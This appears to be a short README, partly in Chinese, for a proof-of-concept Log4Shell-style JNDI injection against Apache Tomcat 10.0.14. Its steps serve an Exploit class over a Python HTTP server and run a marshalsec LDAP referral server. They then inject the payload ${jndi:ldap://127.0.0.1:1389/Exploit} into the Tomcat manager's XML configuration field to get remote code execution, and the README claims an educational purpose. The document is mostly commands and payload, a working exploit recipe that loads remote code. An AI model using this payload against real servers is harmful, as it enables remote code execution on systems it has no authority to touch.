
git clone
cd apache-tomcat-10.0.14/bin
startup.bat
cd exploit
py -m http.server 8888
cd exploit
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
在 http://localhost:8080/manager/html 管理应用的 'XML Configuration file path' 字段中输入 ${jndi:ldap://127.0.0.1:1389/Exploit}
利用类被加载,RCE 被执行(计算器应用将弹出)
本仓库仅供教育目的的概念验证。仓库所有者对任何损害不承担责任。道德提醒:勿作恶。
LDAP 利用工具 https://github.com/mbechler/marshalsec